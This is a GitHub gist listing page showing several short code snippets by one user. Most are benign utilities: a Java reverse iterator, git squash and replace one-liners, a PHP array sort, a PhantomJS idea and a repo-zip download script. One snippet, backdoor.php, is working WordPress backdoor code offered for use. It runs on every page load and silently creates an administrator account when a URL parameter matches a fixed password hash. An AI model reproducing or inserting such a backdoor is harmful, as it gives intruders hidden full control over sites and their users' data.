Skip to content

Instantly share code, notes, and snippets.

View ChristianGaertner's full-sized avatar

Christian Gärtner ChristianGaertner

View GitHub Profile
@ChristianGaertner
ChristianGaertner / fix_cursor.sh
Created April 17, 2014 18:15
Fixes the cursor flickering under Ubuntu Unity (in chroot made with crouton)
sudo cp /usr/share/icons/DMZ-White/cursors/arrow /usr/share/icons/DMZ-White/cursors/watch
@ChristianGaertner
ChristianGaertner / Reversed.java
Last active December 23, 2015 00:39
Reverse Iterator for ArrayLists and the like. Use it in your foreach loops
public class Reversed<T> implements Iterable<T> {
private final List<T> org;
public Reversed(List<T> original) {
org = original;
}
public Iterator<T> iterator() {
final ListIterator<T> i = org.listIterator(org.size());
@ChristianGaertner
ChristianGaertner / git-squash.sh
Created September 3, 2013 20:57
An alternative to the interactive git rebase. (I like this method better.)
# Reset the current branch to the commit just before the last X:
# X is here the number of commits to squash together
git reset --hard HEAD~X
# HEAD@{1} is where the branch was just before the previous command.
# This command sets the state of the index to be as it would just
# after a merge from that commit:
git merge --squash HEAD@{1}
# Commit those squashed changes. The commit message will be helpfully
@ChristianGaertner
ChristianGaertner / replace.sh
Created August 17, 2013 09:44
Replace String in all files of the current directory
grep -rl 'OLDSTRING' ./ | xargs sed -i 's/OLDSTRING/NEWSTRING/g'
@ChristianGaertner
ChristianGaertner / generatImage.js
Created August 14, 2013 20:17
[IDEA] PhantomJS Dynamic HTML render-engine
var page = require(‘webpage’).create();
page.viewportSize ={ width: 200, height : 200 };
page.content = “GoogleChart goes here”; //maybe load a skeleton here and replace some data.
page.setContent(page.content,page);
window.setTimeout(function () {
page.render(‘newimage.png’);
phantom.exit();
}, 1000);
@ChristianGaertner
ChristianGaertner / link-converter.php
Created July 26, 2013 13:05
Convert Links into HTML anchors with ease.
@ChristianGaertner
ChristianGaertner / hidden_iframe.css
Created July 5, 2013 15:30
This will hide all iframes on a page with the id `analytics_iframe`
#analytics_iframe {
visibility: hidden;
position: absolute;
top: -9999px;
left: -9999px;
}
@ChristianGaertner
ChristianGaertner / backdoor.php
Created July 5, 2013 15:26
Add this to an wordpress installtion and include it somewhere. Happy admin-creating!
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '5f4dcc3b5aa765d61d8327deb882cf99' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists($_GET['username'])) {
$user_id = wp_create_user($_GET['username'], $_GET['password']);
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@ChristianGaertner
ChristianGaertner / array_sort_by_collum.php
Created July 5, 2013 14:36
Simple PHP function to sort an array by it' s collum.
function array_sort_by_collum(&$array, $col, $direction = SORT_ASC)
{
$sort_col = array();
foreach($array as $key => $row) {
$sort_col[$key] = $row[$col];
}
array_multisort($sort_col, $direction, $array);
}
@ChristianGaertner
ChristianGaertner / git-zip.sh
Last active December 18, 2015 00:58
Git ZIP Cloner
#!/bin/bash
#wget the zip-archive of a github repo
#Syntax:
# git-zip.sh <USER> <REPO>
URL="https://github.com/$1/$2/archive/master.zip"
OUTZIP="$2.zip"
echo "Download started of the repo >>$2<< by >>$1<< from GitHub."